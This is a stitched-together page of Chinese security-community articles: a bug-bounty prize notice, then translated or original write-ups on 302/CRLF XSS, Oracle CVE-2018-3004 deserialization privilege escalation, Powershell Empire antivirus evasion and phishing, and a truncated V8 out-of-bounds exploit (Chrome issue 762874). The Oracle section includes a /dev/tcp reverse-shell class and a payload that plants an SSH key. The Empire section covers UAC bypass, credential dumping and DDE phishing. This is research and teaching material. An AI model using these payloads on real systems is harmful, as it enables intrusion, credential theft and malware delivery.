style="background-color:none;"><span style="font-family:微软雅黑, " "=""><span
style="background-color:none;"><span style="color:#ff0000;"><br
/></span></span></span></div><div><span style="background-color:none;"><span
style="font-family:微软雅黑, " "="">3、活动规则：</span></div><div><span
style="background-color:none;"><span style="color:#0c0c0c;"><span style="font-family:微软雅黑, " "="">活动期间通过在先知</span></span><span style="background-color:none;"><span style="font-family:微软雅黑, " "="">平台提交企业厂商漏洞或者通用厂商漏洞，审核<span
style="background-color:none;">通过</span>并获得积分。积分最高的TOP10白帽子给予现金奖励。</span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, "
"="">奖励金额如下:</span></div><div><span style="background-color:none;"><span
style="font-family:微软雅黑, " "="">第1名：奖励人民币<span style="background-color:none;"><span
style="color:#ff0000;">10000</span></span>元</span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, "
"="">第2名：奖励人民币<span style="background-color:none;"><span
style="color:#ff0000;">8000</span></span>元</span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, "
"="">第3名：</span><span style="background-color:none;"><span style="font-family:tahoma, arial, stheiti, simsun;"><span style="background-color:none;"><span style="font-family:微软雅黑, " "="">奖励人民币</span></span><span
style="background-color:none;"><span style="color:#ff0000;"><span style="font-family:微软雅黑, " "="">7000</span></span></span>元</div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, "
"="">第4名：<strong><span style="background-color:none;">奖励人民币</span></strong><span style="background-color:none;"><span
style="color:#ff0000;">6000</span></span><strong><span style="background-color:none;"><span style="background-color:none;"><span
style="color:#ff0000;"></span></span>元</span></strong></span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, "
"="">第5名：奖励人民币<span style="background-color:none;"><span
style="color:#ff0000;">5000</span></span>元</span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, " "=""><span
style="background-color:none;">第6名：奖励人民币<span style="background-color:none;"><span style="color:#ff0000;">4000</span></span><span
style="background-color:none;">元</span></span></span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, "
"="">第7名：奖励人民币<span style="background-color:none;"><span
style="color:#ff0000;"><span style="background-color:none;">3000</span></span></span>元</span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, "
"="">第8名：奖励人民币<span style="background-color:none;"><span
style="color:#ff0000;"><span style="background-color:none;">2000</span></span></span>元</span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, "
"="">第9名：奖励人民币<span style="background-color:none;"><span
style="color:#ff0000;"><span style="background-color:none;">1000</span></span></span>元</span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, " "=""><span
style="background-color:none;">第10名：</span><span style="background-color:none;">奖励人民币</span><span style="background-color:none;"><span
style="font-family:tahoma, arial, stheiti, simsun;"><span style="background-color:none;"><span style="color:#ff0000;"><span style="font-family:微软雅黑, "
"="">500</span></span></span>元</span></span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, " "=""><span
style="background-color:none;"><span style="font-family:tahoma, arial,
stheiti, simsun;"><br /></span></span></span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, "
"="">4、奖励发放：获奖者<span style="background-color:none;"><span
style="color:#0c0c0c;"><span style="background-color:none;">名单</span>将</span></span>于1月初在先知官网公布，<span style="background-color:none;"><span
style="color:#ff0000;">奖励于1月底（争取过年前）前发放至支付宝账号。</span></span></span></div><div><span
style="background-color:none;"><span style="font-family:微软雅黑, " "=""><span
style="background-color:none;"><span style="color:#ff0000;"><br
/></span></span></span></div><div><span style="color:#ff0000;"><span
style="font-family:微软雅黑, microsoft yahei;">快来挣过年的压岁钱啦~~</span></span></div><br
/><br /> | 社区文章 |
# 案例分享：Location 302跳转 + CRLF 场景下如何构造XSS
## 1\. 译文声明
**本文是翻译文章，原作者 quentin
原文地址：<https://www.gremwell.com/firefox-xss-302>
译文仅作参考，具体内容表达请见原文 **
## 2\. 初步发现
最近日站时遇到了一个URL跳转，服务器直接将目标GET参数原样输出在`Location:`响应头中没做任何安全检查。如下：
随后我发现该输出点还解析换行符和回车符，也就是存在CRLF：
然后我插入了多个换行符之后再插入一下HTML+JS语法，想借此构造反射XSS:
但是问题来了，由于响应码是`302`，常用的浏览器如Chrome、IE、Firefox 不会解析HTTP响应正文，得想个办法绕过。
## 3\. 查询资料
搜了下大佬们的文章，有了一个[发现](https://www.fortinet.com/blog/threat-research/multiple-plone-cross-site-scripting-vulnerabilities)，其中`Fortinet`师傅描述了如何通过将`Location`响应头设置为以`mailto://`开头的URI来绕过302跳转以执行XSS。Bugcrowd论坛也有一些类似的[讨论](https://forum.bugcrowd.com/t/how-to-trigger-js-execution-on-302-page/3449/5)。大致思路都是通过给Location响应头插入一些特殊的协议来实现绕过。
## 4\. Fuzz大法好
基于此，我决定写个fuzz工具,我基于IANA(互联网号码分配机构)提供的[协议列表](https://www.iana.org/assignments/uri-schemes/uri-schemes.txt)，根据以下格式来测试是否能绕过302跳转：
http://acme.corp/?redir=[URI_SCHEME]://gremwell.com%0A%0A[XSS_PAYLOAD]
最后发现只有如下两个协议能够绕过并且仅在Firefox浏览器上有效：
* ws:// (WebSocket)
* wss:// (Secure WebSocket)
大致如下：
打开最新版本的Firefox（投稿时在最新版为v 82.0.2 测试成功）中的链接，可以看到在正确的域下执行了XSS，而没有被重定向：
## 5\. 延伸
经过公开的讨论，后续发现如下：
* `Location:` 空的Location响应头可以在Chrome上成功执行内容中的XSS代码。（投稿时在最新版 Chrome v86.0.4240.111测试成功）
* `Location: resource://URL` 使用resource协议也可以在Firefox 81 上执行payload。（投稿时在最新版 Firefox v82.0.2测试成功） | 社区文章 |
## 基于反序列化的Oracle提权
* * *
本文翻译自：<http://obtruse.syfrtext.com/2018/07/oracle-privilege-escalation-via.html?m=1>
* * *
### TLDR：
Oracle数据库容易受到通过java反序列化向量绕过Oracle
JVM内置的安全机制来提升用户权限的影响。攻击者适当的利用它还可以获取服务器上的shell级访问权限和对数据库的访问的SYS级别权限。
Oracle 针对此问题发布了CVE-2018-3004。
### 反序列化漏洞
Java反序列化漏洞在过去几年中风靡一时。2015年，Foxglove安全发布了[一篇文章](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)，详细描述了许多J2EE应用服务器中的一个关键安全漏洞，这些漏洞使服务器容易受到远程代码执行的攻击。
自2015年Foxglove文章以来，许多关于Java反序列化的漏洞被发布，其中很多是基于[ysoserial库](https://github.com/frohoff/ysoserial)。还公开了许多CVE，并发布补丁以解决这些缺陷，包括Oracle特定的CVE，如[CVE-2018-2628](https://www.tenable.com/plugins/nessus/109429)，[CVE-2017-10271](https://www.rapid7.com/db/modules/exploit/multi/http/oracle_weblogic_wsat_deserialization_rce)，[CVE-2015-4852
](https://blogs.oracle.com/security/security-alert-cve-2015-4852-released)。
大多数已发布的漏洞集中在易受反序列化攻击的应用服务器上。然而，今天，我想探索Oracle数据库以及在Oracle数据库存储过程中，它如何容易受到的Java紧密集成的自定义反序列化攻击的影响。
本文中的示例是使用Oracle 12C创建的，但早期版本的Oracle数据库也很容易受到攻击。
### Java存储过程
Oracle Enterprise Edition
有一个嵌入数据库的Java虚拟机，而Oracle数据库则通过[Java存储过程](https://docs.oracle.com/cd/B19306_01/java.102/b14187/chfive.htm)来支持Java的本地执行。
create function get_java_property(prop in varchar2) return varchar2
is language java name 'java.name.System.getProperty(java.lang.String) return java.lang.String';
/
### 基本的JVM保护
当然，如果您对Java和渗透测试有一定程度的熟悉，您可能马上联想到创建一个会在Oracle数据库中编译的反向shell：
SET scan off
create or replace and compile java source named ReverseShell as
import java.io.*;
public class ReverseShell{
public static void getConnection(String ip, String port) throws InterruptedException, IOException{
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","0<&126-;exec 126<>/dev/tcp/" + ip + "/" + port + ";/bin/bash <&126 >&126 2>&126"});
System.out.println(p.toString());
p.waitFor();
}
}
/
create or replace procedure reverse_shell (p_ip IN VARCHAR2,p_port IN VARCHAR2)
IS language java name 'ReverseShell.getConnection(java.lang.String, java.lang.String)';
/
这种方法不起作用，因为Oracle JVM实现了基于细粒度策略的安全机制来控制对操作系统和文件系统的访问。如果从权限较低的帐户执行此过程，就会出现错误。
请注意，错误堆栈包含授予访问权限所缺少的权限和必要的命令：
ORA-29532: Java call terminated by uncaught Java exception:
java.security.AccessControlException: the Permission (java.io.FilePermission /bin/bash execute) has not been granted to TESTER. The PL/SQL to grant this is dbms_java.grant_permission( 'TESTER', 'SYS:java.io.FilePermission','/bin/bash', 'execute' )
之前已经[报道](https://www.exploit-db.com/exploits/33601/)过绕过内置Java权限的方法，这篇文章将不再讨论。相反，我将展示一种通过XML反序列化绕过这些权限的新方法。
### XML反序列化
Java中存在XML序列化和反序列化，以支持使用标准化行业格式（在本例中为XML）的跨平台信息交换。为此，java.beans库包含两个类：XMLEncoder和XMLDecoder，用于将Java对象序列化为XML格式，之后再反序列化该对象。
典型的反序列化漏洞依赖于接受和反序列化任意输入的服务的存在。但是，如果您可以访问能在用户模式中创建对象的低权限Oracle帐户（即具有connect和resource的用户），则可以创建自己的易受攻击的反序列化程序。
作为“TESTER”用户，我创建了以下Java类“DecodeMe”和一个调用此类的Java存储过程：
create or replace and compile java source named DecodeMe as
import java.io.*;
import java.beans.*;
public class DecodeMe{
public static void input(String xml) throws InterruptedException, IOException {
XMLDecoder decoder = new XMLDecoder ( new ByteArrayInputStream(xml.getBytes()));
Object object = decoder.readObject();
System.out.println(object.toString());
decoder.close();
}
}
;
/
CREATE OR REPLACE PROCEDURE decodeme (p_xml IN VARCHAR2) IS
language java name 'DecodeMe.input(java.lang.String)';
/
decodeme过程将接受任意XML编码的Java字符串并执行提供的指令。在[此处](http://www.oracle.com/technetwork/java/persistence3-139471.html)可以找到有关序列化XML的正确格式的信息。这块代码只是简单地调用println将数据输出到终端。
BEGIN
decodeme('<?xml version="1.0" encoding="UTF-8" ?>
<java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.lang.System" field="out">
<void method="println">
<string>This is test output to the console</string>
</void>
</object>
</java>');
END;
/
### 漏洞
当然，我们不需要反序列化过程来将输出打印到控制台，那么这个过程到底有多脆弱？事实证明，反序列化过程绕过了JVM权限设置，并允许用户随意写入操作系统上的文件。请参阅以下示例脚本：
BEGIN
decodeme('
<java class="java.beans.XMLDecoder" version="1.4.0" >
<object class="java.io.FileWriter">
<string>/tmp/PleaseDoNotWork.txt </string>
<boolean>True</boolean>
<void method="write">
<string>Why for the love of god?</string>
</void>
<void method="close" />
</object>
</java>');
END;
/
执行此匿名块会在`/tmp`文件夹中创建名为“PleaseDoNotWork.txt”的文件：
因此，通过反序列化绕过内置的安全限制，我们可以将任意文件写入文件系统。
### 利用
事实证明，我们不仅可以将新文件写入系统，还可以覆盖或附加Oracle用户具有写权限的任何文件。显然，这会对数据库产生严重影响，因为攻击者可能会覆盖关键文件
- 包括控制文件 , 这可能成功导致的拒绝服务攻击或数据损坏。
但是，通过精心设计的Payload，我们可以使用此反序列化攻击来以Oracle用户身份访问服务器。
假设SSH在服务器上打开并配置为接受RSA连接，则以下Payload将RSA令牌附加到管理数据库进程的Oracle帐户。
开始AUTHKEY
BEGIN
decodeme('
<java class="java.beans.XMLDecoder" version="1.4.0">
<object class="java.io.FileWriter">
<string>/home/oracle/.ssh/authorized_keys</string>
<boolean>True</boolean>
<void method="write">
<string>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCedKQPeoJ1UeJEW6ZVkiuWAxBKW8F4fc0VrWxR5HEgaAcVodhgc6X7klyOWrJceGqICcCZd6K+/lvI3xaE2scJpRZWlcJQNCoZMRfmlhibq9IWMH0dm5LqL3QMqrXzZ+a2dfNohSdSmLDTaFHkzOGKEQIwHCv/e4e/eKnm0fUWHeL0k4KuCn3MQUN1HwoqoCciR0DrBDOYAKHxqpBv9rDneCdvaS+tqlr5eShjNlHv1YzJGb0lZZlsny19is8CkhcZ6+O+UCKoBPrxaGsfipsEIH5aPu9xVA90Xgsakhg4yoy9FLnES+xmnVxKX5GHyixi3qeWGDwBsAvhAAGLxOc5 </string>
</void>
<void method="close" />
</object>
</java>
');
END;
/
执行时，代码会将任意RSA密钥附加到Oracle用户authorized_keys文件，并以Oracle用户身份授予攻击SSH访问权限。
Oracle用户可以作为SYS访问数据库，并且攻击者已经有效地破坏了整个数据库。
### 影响
由于Oracle数据库的每个实例成本较高，因此许多生产体系结构依赖于共享租户模型，即多个任务应用程序使用相同的数据库，并且应用程序支持用户对同一系统共享访问权限。此外，Oracle
Exadata的实现通常是在同一服务器上托管多个数据库实例。
如果低权限用户(可能是特定应用程序的三级管理员)要部署此漏洞，他们可以有效地访问整个企业的数据和应用程序。
### 结论
正如我们所看到的，在java中实现的反序列化设计模式依旧爆出了无数的漏洞。安全分析师应该看到超越基于J2EE的反序列化的攻击，并考虑基于其他嵌入式实现的攻击向量。
### 报告时间表
此问题于2018年1月首次报告给Oracle Support，并于2018年7月17日发布的CPU中得到解决。
更新：查找复杂的Oracle补丁可能是一项挑战。此漏洞的Oracle错误是`Bug
27923353`，且该补丁适用于OJVM系统。对于此POC，对应的补丁是OJVM发布的更新`12.2.0.1.180717(p27923353_122010_Linux-x86-64.zip)`。 | 社区文章 |
# 【技术分享】Powershell Empire 绕过AV实现远控
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[C1em0](http://bobao.360.cn/member/contribute?uid=2972639568)
预估稿费：500RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**1\. 前言**
谁都喜欢框架。无论对于是平时出于各种目的游走在网页和服务器中的黑客，还是从事网络安全测试的安全人员来说，一个好的漏洞框架发挥的作用不言而喻。这其中的Metasploit脱颖而出。虽然这款框架集成了从漏洞发现到漏洞利用的几乎所有功能，但是不得不承认其在木马后门的免杀方面现如今已经不足以应付一些流氓杀软了。但是，Powershell
Empire可以。本篇文章是笔者在一次偶然的机会中接触到powershell
empire后进行简单初步的摸索，由于关于这款工具的文章很少，大部分都没有涉及到里面模块作用和原理，官方文档能提供的信息也不多。所以我也是尽力把自己理解的写出来，笔者能力有限，更深层次的利用和原理剖析还在逐步进行。请谅解。
**2\. 为什么是Powershell?**
empire选择了poweeshell作为攻击平台总是有原因的。其作为windows平台下的一种命令行外壳程序和脚本环境，它可以使命令行用户和脚本编写者利用.NET
Farmework。 说到这里，你可能还是一脸懵逼，我也是，毕竟这只是powershell的官方解释。那我们来看下empire开发者是怎么讲的：传送门:
<http://www.exploit-monday.com/2012/08/Why-I-Choose-PowerShell.html> 。
其中重要的一段是："Scripting languages offer an advantage to an attacker because they
provide a layer of abstraction that AV has no idea how to interpret. For
example, a common AV bypass technique is to package malicious Python scripts
into an executable. AV has a hard time distinguishing the resulting binary as
malicious or legitimate because the Python interpreter itself has plenty of
legitimate uses. PowerShell offers a distinct advantage in this scenario due
to its tight integration with the Windows OS and considering it’s based upon
the .NET framework. With such a powerful scripting environment, there is no
need to drop files on disk. Everything, with the possible exception of the
script itself run entirely memory-resident."
大致意思是：脚本语言为攻击者提供了一个优势，因为它们提供了一个抽象层，杀软（AV）不知道如何解释。例如，常见的杀软旁路技术是将恶意Python脚本打包成可执行文件。杀软很难将生成的二进制文件区分为恶意的或合法的，因为Python解释器本身有很多合法用途。PowerShell在这种情况下提供了明显的优势，因为它与Windows操作系统的紧密集成，并考虑到它基于.NET框架。使用如此强大的脚本环境，不需要将文件放在磁盘上。所有的东西，除了脚本本身的可能例外，它完全是内存驻留的。
no need to drop files on
disk:无需写入硬盘，内存驻留。empire使攻击者能在内存中运行命令，也就是empire使用powershell作为攻击平台，并且有大概率成功绕过AV的原因。
这种内存中运行的命令是否会让后来的入侵取证出现困难？这个我还未咨询相关的大佬和老师，暂时就不得而知了。
**3\. 初识Empire**
****
和Metasploit一样，empire集成了对主机控制提权，内网主机探测等主流的渗透测试功能。
其重要的由四大部分：listeners（侦听器）、stagers（驿站）、agents（会话代理）、modules（模块）
listeners相当于msf中的监听模块，用来设置本地IP进行会话监听的。
stargers就是一段恶意代码，它通过本机的会话代理（agent）实现本机与被攻击主机的会话通道。
agents相当于msf中的session，当我们在被攻击主机上成功执行恶意代码（即木马后门）
时，会反弹一个shell，并通过agent构建本地和被害主机会话。
modules这是一个我们在控制了目标主机后，对目标内网或域进行渗透所要使用的主要模块，其包含了很多功能，具体的笔者还在摸索中。
**3.1 配置侦听器（Listener）**
使用listeners命令，加载当前活动的侦听器。没有的话也会提示你。你可以输入help查看帮助，选择Listeners下可以使用的命令。这里我们首先创建一个活动的侦听器。
(Empire: listeners) > uselistener
TAB键弹出可用的侦听建立途径
从图中可以看出具体有七种侦听途径建立方式，其中有五种是通过http协议进行建立通信的，他们之间具体的差别主要在于目标主机的第三方软件配置的差别，关于这一点，empire的官方文档给出了解释：传送门。剩下的是我们熟悉的msf中常用的meterpreter以及使用条件需要目标主机安装第三方软件dropbox的dbx途径。这里我们选择比较通用的http通道。使用info查看详细配置信息。
(Empire: listeners) > uselistener http
(Empire: listeners/http) > info
然后进行配置：
(Empire: listeners/http) > set Host 192.168.1.144
(Empire: listeners/http) > set Port 1234
然后execute生成侦听
然后main指令回到主菜单，可以看到一个侦听已经激活。listener列表显示详细信息。
**3.2 配置Stagers**
配置好侦听后就要配置我们的攻击代码了，也就是木马后门。使用usestager命令TAB键可以看到所有根据不同系统的生成木马后门的文件类型。
其中multi为通用模块、osxmac操作系统、另外还有linux与windows模块。
生成的文件类型有.dll,bat，vbs等等。其中就包括前段时间office宏命令漏洞的主角windos/macro模块。详情点击：传送门：<http://bobao.360.cn/learning/detail/3605.html>
实战中直接命令usestager
[具体模块]就可以在/tmp目录下生成一个特定文件格式的木马后门，然后通过webshell上传运行就可以了。这里因为演示需要就不进行具体文件生成，直接使用launcher+语言类型（这里是powershell）+侦听的名字（这里是侦听的默认名字是http，也可以在设置侦听时自己更改），如下：
(Empire) > launcher powershell http
生成一个powershell语言的内容,直接在powershell目录下执行就行了:
运行，发现杀软并没有有明显变化，但也并不能证明其免杀效果，因为不清楚杀软是否对powershell的行为流量进行监控。
**3.2.1 由此衍生的骚操作**
从上面这里我们可以看到执行恶意的
powershell命令时杀软并没有给出任何报毒反映，那么我们在此基础上进一步将这个利用点扩大化，进行一次模拟网络钓鱼。如何实现？这里我们就要用到最近才出现的office无宏命令执行漏洞了。前几天国内已经有人翻译了原文：传送门：<http://bobao.360.cn/learning/detail/4526.html>
。
这个office漏洞的原理简单的说就是，在office中可以通过一种存在于windows内部程序进行数据动态交换的DDE协议进行命令执行，从而达到调用windows内其他程序的目的。看到这里，你应该有点想法了。没错，我们就是用这个命令执行的漏洞，执行我们前面的powershell恶意命令,看会不会有我们想要的那种效果。
1\. 先将上面生成的攻击代码写成psl文本，放入本地lamp环境根目录：
2\. 编写钓鱼的word文档：
3\. 先用 杀软扫下有没有报毒，再发送至虚拟机。这里因为虚拟机的win7没有word，我就暂时以我的物理机来实验吧（拼了）
结果杀软未报毒 最终，反弹了自己物理机的shell…………..
再此过程中杀软除了powershell启动的一瞬间给了一次见惯不怪的警告（原来警告确实重要！），之后的会话一直没结束。成功验证操作。
言归正传，此时，empire的agent已有反应，远控回话已开启。此时，我们使用命令interact进入已经建立的会话名。
help查看我们在已建立的会话中所能使用的命令，查看目标主机信息。
能成功执行，继续深入，使用mimikatz命令可以查看目标主机的用户名以及密码，但是我么可以看到这里失败了。
爆出了needs to elevated content的错误，这里大家应该明白需要提权了。那么empire有没类似于msf中的提权命令呢？有的。
(Empire PHWC8BT4) >bypassuac [侦听名]
就可以进行提权。
但是如果运气不好也会出现提权不成功的情况。刚刚说过它和msf一样有相应的提权方式，empire中的module模块中含有相应的扫描模块可以在一键命令提权失败的情况下，进行扫描，找出对应的提权方法，这是后话了。虽然它和msf在提权上的成功率上的比较，笔者还没比较过，但应该是有差别的。
list列出提权后的会话列表，发现多出一个和原来会话主机名相同，但Username前多一个星号的会话，这个带星号的用户就是提权后的高权限用户了。我们现在interact进入这个高权限用户的会话中，查看用户密码。
可以看出，提权后我们可以对目标主机进行更多的操作，可以直接找出目标的用户名和密码的hash，如果用户密码是弱口令的话，甚至可以直接爆出密码明文。接着如果目标主机有其他内网主机的话就可以进一步地“为所欲为”了。
在控制目标主机后，我们可以将这个会话发送给msf，使用meterpreter进行更多操作。
**4\. 我们的杀软在做什么**
首先实验一开始，我们使用了恶意的powershell的命令进行攻击。杀软并没有进行报错，毫无反应，证明杀软暂时对Powershell的执行并没有多少设防，但此时我们的攻击端也未进入agent会话，因为不懂杀软是怎样基于行为进行查杀的，所以我们暂时不能说明它不可以拦截恶意行为。
而后，攻击端interact连接进会话，攻击机和目标靶机形成数据交互，而且是我们通过http通道建立的。我们再看看目标靶机，依旧毫无反应，这其实很奇怪了，现在的杀软既然已经开始对于电脑中的可以行为进行检测，特别是这种很有疑点的外部通讯，应该是重点查杀的对象，但这里杀软并没有给出任何反应。难道是因为我们的侦听模块是使用的http通道？大胆猜测下，应该是的。
接下来的操作目标靶机的杀软都没有反应。到了提权的那一步我就开始使用杀软进行主动扫描，按照杀软的描述，其对磁盘和内存进程都会扫描。但是结果提醒我是安全的。
一片绿色，完全没有问题。就和我们前面的钓鱼一样，木马后门如入无人之境。
为了体现这种powershell马的特点和优势，我有生成了几个msf下典型的木马，其中包括未经过编码处理的木马，经过encode十多次的木马和加壳木马，无一例外被杀软查杀，只是后两种有概率在种入木马时运行前不会报毒，但是在运行时，无一例外均被杀。甚至加壳的马会直接被我物理机上的杀软查出。
**5\. 最后**
empire虽然已经比较强大了，但是使用工具的意义并不是它能给我们带来的效益和那种快感，其真正意义在于研究其背后所利用的漏洞原理。这里利用powershell进行攻击，并建立有效的攻击机与目标机的连接，最吸引人的是原始开发者的思路，这才是empire带给我最大的收获。顺着这个思路似乎已经有其他发现了。 | 社区文章 |
# Chrome issue 762874
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0 环境与背景知识
### 0.1 环境
首先搜一下在chrome的bug库中找到对应的issue号
从下面的评论中找到了对应的含有漏洞的v8版本
还原到parent版本
下图中的两个版本应该是都可以的(对于旧的版本可以使用JIT
新的v8版本可以使用wasm方法)这里的新指6.7版本之后的)当然了使用传统的[泄漏libc方法](https://migraine-sudo.github.io/2020/02/22/roll-a-v8/#%E6%B3%84%E9%9C%B2libc)也可以
### 0.2 Javascript indexOf方法
indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。
stringObject.indexOf(searchvalue,fromindex)
参数 | 描述
---|---
searchvalue | 必需。规定需检索的字符串值。
fromindex | 可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length –
1。如省略该参数，则将从字符串的首字符开始检索。
这里的fromindex补丁后是0到length-1,我们看到在漏洞版本中是-1到length-1(源码如下)
下面是几个这个函数使用的例子(取自菜鸟教程)
<script type="text/javascript">
var str="Hello world!"
document.write(str.indexOf("Hello") + "<br />")
document.write(str.indexOf("World") + "<br />")
document.write(str.indexOf("world"))
</script>
三个输出分别是
0
-1
6
下面我们看下面的使用方法
'1234'.indexOf("",1)
第二个参数是开始匹配的位置,第一个参数为空,这样的话一定匹配成功,返回我们给的第二个参数
不过当我们尝试越界访问的时候返回的是length
### 0.3 JIT
在 JavaScript
引擎中增加一个监视器监控着代码的运行情况，记录代码一共运行了多少次、如何运行的等信息。如果同一行代码运行了多次，这个代码段就会被送给JIT机制进行编译和优化，将编译后的机器代码保存在缓存中，下次直接执行这块机器代码即可，大大提高了一些情况下代码的执行效率。
在较早期版本的v8引擎中，经常使用向JIT写入shellcode的方式。不过在6.7版本之后，JIT的区域会被标记为不可写。可以考虑JIT
Spray/JIT
ROP之类的绕过。个人感觉JIT和wasm是很像的,wasm的介绍可以从[文章](https://www.anquanke.com/post/id/214020#h3-15)找一下
下面的代码可以用来寻找JIT
//让function变hot
function f()
{
for(let i=0;i<0x1000000;i++)
{
let a='migraine';
}
}
//通过jsfunction结构找到JIT的地址
let jsfunc_addr=wr.leak_obj(f);
let jit_addr=wr.read(jsfunc_addr+6*8)-1;
console.log("jsfunction address = "+hex(jsfunc_addr));
console.log("jit address = "+hex(jit_addr));
也可以使用debug调试(建议),比如下面
Code Builtin位置就是我们要写的位置
对应的可以找到偏移是0x38(对应上图中的job)
pwndbg> x/20gx 0xd0398602ef9-1
0xd0398602ef8: 0x00000350944024c1 0x00003d0ed2002251
0xd0398602f08: 0x00003d0ed2002251 0x00003d0ed2002321
0xd0398602f18: 0x0000125dd6732389 0x0000125dd6703cd1
0xd0398602f28: 0x0000125dd6732561 0x00002ad94bb0df41 <======
0xd0398602f38: 0x00003d0ed20022e1 0x1beefdad0beefdaf
我们找到的位置是下图中的一部分
接着根据RWX段找到具体代码
可见偏移是0x60
所以找RWX地址的代码就是
var jit_addr = addrof(jit) - 1;
console.log("jit_addr ==> 0x"+jit_addr.toString(16))
var rwx_addr = abread(jit_addr+0x38) - 1 + 0x60
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16))
## 1 漏洞分析
起初漏洞分析的时候参考的是
<https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p>
中关于这个issue的分析,后来复现的时候发现与我所面对有所出入(即下文中的2**28)
### 1.1 优化时分析
在Turbofan 的Typer中将indexof 的range分析设计成了-1到length-1,如下图中的源码
所以在优化分析的时候,Typer会将这里的范围设定为 range(-1, kMaxLength-1)
### 1.2 运行时分析
但是真正运行的时候,indexOf后面的参数最大只能到2**28-16位置,
当我们输入更大的数字给它时,它也只能返回2**28-16
例如我下面截图中的一些尝试,最后一个按照函数正确的调用应该返回2**28,
但是却只到了2**28-16
### 1.3 总结
笔者想到了一个表格,感觉可以形象的表述如何触发bug
传入x = 2**28-16
根据上面的尝试(其实后面发现这个出错了),写了下面的表格
程序流程(右侧的范围指这一行新出现的变量的取值范围) | 优化时情况 | 运行时情况
---|---|---
let b = ‘A’.repeat(2**28-16).indexOf(“”,x) | range(-1,2**28-17) | (0,2**28-16)
let a = b+16 | range(15,2**28-1) | (16,2**28)
let c = a >> 28 | range(0,0) | (0,1)
let idx = c * 1337 | range(0,0) | (0,1337)
简单的解释一下,上面的表格可以设计成一个函数,第二列是优化的时候见到的情况,第三列则是运行时的实际情况.
如果我们使用表中得到的idx去访问一个数组的话,优化时会认为我们访问的是0号元素,从而去掉checkBound节点,而实际运行时我们可以越界访问,从而导致OOB
## 2 POC 尝试触发漏洞
有了上面的表格POC就相对好写一点了
起初想用下面的代码触发
#### 2.1
poc1.js
function foo(x)
{
let oobArray = [1.1,2.2,3.3,4.4];
let b = 'A'.repeat(2**28-16).indexOf("",x);
let a = b + 16;
let c = a >> 28;
// c = c - 3;
let idx = c * 1337;
return oobArray[idx];
}
print(foo(1));
print(foo(1));
%OptimizeFunctionOnNextCall(foo);
print(foo(2**28-16));
但是发现失败了,被检测到了越界
使用Turbolizer看一下优化的过程
问题似乎处在Typer阶段
我们希望这里的range是(-1,2**28-17),但是后面那个1073741798明显大了很多
这里就导致了Simplified Lowering阶段仍然有CheckBound节点
刚开始猜测可能是我将x当做参数传给函数,它不知道这个x的范围,所以设计的很大,于是改了一下POC
#### 2.2
poc2.js
function foo()
{
x = 2**28-16;
let oobArray = [1.1,2.2,3.3,4.4];
let b = 'A'.repeat(2**28-16).indexOf("",x);
let a = b + 16;
let c = a >> 28;
let idx = c * 1337;
return oobArray[idx];
}
print(foo());
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());
结果还是同样的,CheckBound节点没有去除,猜测可能这个优化的最大界就是那个数字,
尝试了修改字符串的长度,然后看一下优化图解
#### 2.3
poc3.js
(0,1337)
function foo(x)
{
let oobArray = [1.1,2.2,3.3,4.4];
let b = 'A'.repeat(16).indexOf("",x);
let a = b + 16;
let c = a >> 28;
let idx = c * 1337;
return oobArray[idx];
}
print(foo(1));
print(foo(1));
%OptimizeFunctionOnNextCall(foo);
print(foo(16));
发现最大界限仍然是这个数字(2**30-26)
猜测上面MaxLength对应的源码不是2**28次方了,测试一下
可以看到确实MaxLength不在是之前的2**28-16
重新测试了一下运行情况
#### 2.4
尝试修改一下上面的表格(x = 2**30-25)
程序流程(右侧的范围指这一行新出现的变量的取值范围) | 优化时情况 | 运行时情况
---|---|---
let b = ‘A’.repeat(2**30-25).indexOf(“”,x) | range(-1,2**30-26) | 2**30-25
let a = b+25 | range(24,2**30-25) | 2**30
let c = a >> 30 | range(0,0) | 1
let idx = c * 5 | range(0,0) | 5
下面是我一步一步运行poc时得到的结果
// d8> 'A'.repeat(2**30-25).indexOf('',2**30-25)
// 1073741799
// d8> 1073741799+25
// 1073741824
// d8> 1073741824>>30
// 1
// d8>
重新写一下POC
poc4.js
function foo()
{
// x = 2**28;
let b = 'A'.repeat(2**30-25).indexOf('',2**30-25);
let a = b + 25;
let c = a >> 30;
let idx = c * 5;
let oobArray = [1.1,2.2,3.3,4.4];
return oobArray[idx];
}
// for(var i=0;i<0x10000;i++)
// {
// var k = foo();
// if(k!=undefined)
// {
// print(k);
// }
// }
print(foo());
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());
运行结果….. ~~ **越界失败**~~ 起初我根据下面的图以为越界失败了
但是当我输出上面poc的index的时候发现实际上越界成功了(输出idx的效果如下图)
0
1.1
0
1.1
--------------------------------------------------- Begin compiling method foo using Turbofan
--------------------------------------------------- Finished compiling method foo using Turbofan
5
1.1*/
优化图解
我们确实得到了range(0,0),而且也没有了checkBound节点.
#### 2.5
最后进一步完善一下,写出了下面的poc
poc5.js
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
